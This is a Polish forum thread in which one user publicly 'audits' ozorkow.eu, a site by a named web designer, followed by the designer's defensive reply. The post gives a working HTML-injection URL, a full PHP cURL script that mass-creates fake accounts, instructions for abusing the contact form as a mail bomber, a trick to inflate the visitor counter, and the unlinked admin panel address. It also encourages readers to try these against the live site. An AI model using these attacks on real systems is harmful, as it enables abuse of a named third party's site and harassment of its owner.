ryszard bazarnik, koncert na Ĺcianie
Wchodzę na stronę www.tamada.pl , na dole napis: "Design: Kamil Rybczyński" i odsyłacz do strony twórcy.
Wchodzę na rybczynski.biz. Oglądam portfolio. Portfolio odsyła do takich stron jak:
http://ozorkow.eu, http://bktb.pl, http://ogrody-serwis.com.pl
Czytam o profesjonalizmie wykonania, itd. Wykonuję więc kilka prostych zapytań do serwera ozorkow.eu.
Wyniki i osobiste spostrzeżenia poniżej.
Do przykładów 3 i 4 potrzebny jest własny serwer WWW i interpreter PHP.
[1] Brak walidacji zmiennych superglobalnych $_REQUEST. Skutkuje to możliwością injekcji czystego HTML i znaków aplikatywnych do treści strony. Brakuje także ograniczenia ilości przesyłanych znaków po stronie front- i back-endu.
Przykład 1: - katalog ozorkowskich witryn -
Na stronie http://www.ozorkow.eu/index.php?strona=katalog znajduje się Katalog Ozorkowskich witryn. Wybierzmy np. podkatalog "rozrywka i hobby".
Dokonajmy prostej modyfikacji adresu, a dokładnie wartości $_GET['ile'].
Wejdźmy na adres:
[http://www.ozorkow.eu/index.php?strona=katalog&id=14&ile=<br><br><img src=http://4d.blox.pl/resource/dupy.jpg><br><br>]
(celowo nie ma tu BBcode, bo źle interpretuje taki odnośnik)
Przykład 2: - przypomnienie hasła na adres e-mail -
Na stronie http://www.ozorkow.eu/index.php?strona=haslo_alias wpiszmy zamiast poprawnego adresu e-mail, wartość jak w poprzednim przykładzie czyli:
[http://www.ozorkow.eu/index.php?strona=katalog&id=14&ile=<br><br><img src=http://4d.blox.pl/resource/dupy.jpg><br><br>]
Znowu widzimy rezultat podobny do tego powyżej.
[2] Możliwość przepełnienia bazy kont oczekujących na aktywację.
W normalnym przypadku wchodzimy na stronę "Załóż konto" i wypełniamy formularz. Można ten proces prosto zautomatyzować.
Aby założyć automatycznie żądaną ilość kont (np. 10) należy wykonać skrypt:
Przykład 3:
<?php
$num_of_profils = 10; // liczba kont do założenia
$ch = curl_init();
curl_setopt($ch, CURLOPT_VERBOSE, 1);
curl_setopt($ch, CURLOPT_URL, "http://ozorkow.eu/index.php?strona=rejestracja");
curl_setopt($ch, CURLOPT_HTTPHEADER, Array("Content-Type: application/x-www-form-urlencoded"));
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
echo 'Założono konta w ozorkow.eu: <br>';
for($i=0; $i<$num_of_profils; $i++)
{
$gen_user = $gen_mail = '';
for($i2=0; $i2<10; $i2++) $gen_mail .= rand(0,9);
$gen_user = $gen_mail;
$gen_mail .= '@ozorkow.eu';
curl_setopt($ch, CURLOPT_POSTFIELDS, "username=".$gen_user."&email=".$gen_mail."®ulamin=on&nowy=dodaj");
curl_exec($ch);
echo 'user: '.$gen_user.' | e-mail: '.$gen_mail.'<br>';
}
curl_close($ch);
?>
Proszę nie być złośliwym i nie tworzyć 1000 kont.
[3] Przykład 4:
Możliwość wykorzystania formularza kontaktowego jako "mail bombera" (http://www.ozorkow.eu/index.php?strona=kontakt).
O ironio, tutaj czytamy:
"Jeśli znalazłeś w serwisie błędy, masz jakiekolwiek problemy, pytania lub sugestie - napisz do nas. Chętnie odpowiemy na Twoje pytania, rozwiążemy problemy oraz rozwiejemy wątpliwości."
Nie podaję tu gotowego kodu. Jest on analogiczny do tego z przykładu 3. Należy jedynie zmienić wszystkie nazwy przesyłanych pól $_POST i podać jakąś losową treść wiadomości. Idea taka sama, wykorzystanie gniazd biblioteki cURL. Nie wysyłajcie Panu Kamilowi 1000 maili. Wystarczy spróbować z 5 czy 10-cioma.
[4] Licznik osób obecnych na stronie (widoczny w stopce ozorkow.eu). Można go łatwo oszukać.
Sposób 1: wyłączyć obsługę cookies - każdy refresh strony doliczy kolejnego użytkownika.
Sposób 2: Przy pomocy cURL (bez akceptacji ciasteczek) połączyć się ze stroną np. 1000 razy. Aż miło popatrzeć na popularność strony
[5]
Stworzę dla Ciebie stronę internetową zgodną ze wszystkimi obecnie przyjętymi standardami
Walidacja podstawowa W3C dla ozorkow.eu:
http://validator.w3.org/c...=Inline&group=0
[6] Panel logowania - niedostępny poprzez żadne odnośniki na stronie, ale łatwy do znalezienia poprzez analogię stosowaną wśród przełączników $_GET:
http://www.ozorkow.eu/?strona=admin
[7] Brak konsekwencji:
W zakładce "Projektowanie stron WWW" czytamy:
U nas za 50 złotych + VAT rocznie otrzymasz serwer o pojemności 500 MB do dowolnego podziału na stronę, pocztę e-mail i bazy danych, dostępny przez 24 godziny na dobę, 365 dni w roku.
Natomiast w zakładce "FAQ" czytamy pytanie nr 3:
Ile miejsca mam do wykorzystania na swoją stronę WWW?
Nic. Oferujemy usługi aliasowe, nie hostingowe. My dajemy ci krótki i ładny adres internetowy, nie zaopatrujemy cię natomiast w miejsce na serwerze, nie hostujemy twojej strony TUTAJURLhttp://WWW.
Kamil będzie Ci wdzięczny za audyt bezpieczeństwa
A teraz, pochwal się swoimi projektami.
hehe skrypt wyżej rzeczywiście działa (nie testowane na ozorkow.eu)
Witam,
dziękuję za wszystkie informacje.
Są bardzo przydatne i z pewnością wezmę je sobie do serca.
A wracając do tematu.
System joomla cms
Nigdy nie wziąłem ani grosza za samo wdrożenie systemu ani za to, że go wykorzystuję.
Wszystkim klientom mówię od razu, że system jest darmowy i dlatego cena jest tak niska w porównaniu z cenami agencji interaktywnych, które piszą również system.
Proszę zapytać ludzi z mojego portfolio.
Od trzech lat ciągle działam na joomla cms, wiec prosze mnie nie pouczac o licencji systemu.
Ozorkow.eu
Dziękuję serdecznie za informacje o błędach skryptu.
Błędy, które Pan zauważył, zgłoszę twórcy skryptu jeszcze dzisiaj.
Stronę "projektowanie stron www" usunąłem ze strony ponieważ dał mi Pan lekcję, że odwiedzający ozorkow.eu mogą róznie rozumieć działalność strony ozorkow.eu
Strona oferuje jedynie aliasy stron, a info o projektowaniu nie dotyczy samego ozorkow.eu
Podsumowanie
Nie problem wejść na fora tematyczne o programowaniu i szukać dziury w całym.
Dużo większym problemem jest zapoznać się z tematyką pracy osoby, którą się krytykuje.
Ja jestem designerem, e-marketingowcem i copywriterem.
Nikim więcej. Błędy zarzucone mi przez Pana odnośnie programowania wyślę do twórcy oprogramowania. Sam natomiast nie mam zamiaru ich naprawiać bo nie jestem programistą.
Na przyszłość.
Proszę się czepiać tego co robię, a nie tego czego nie robię.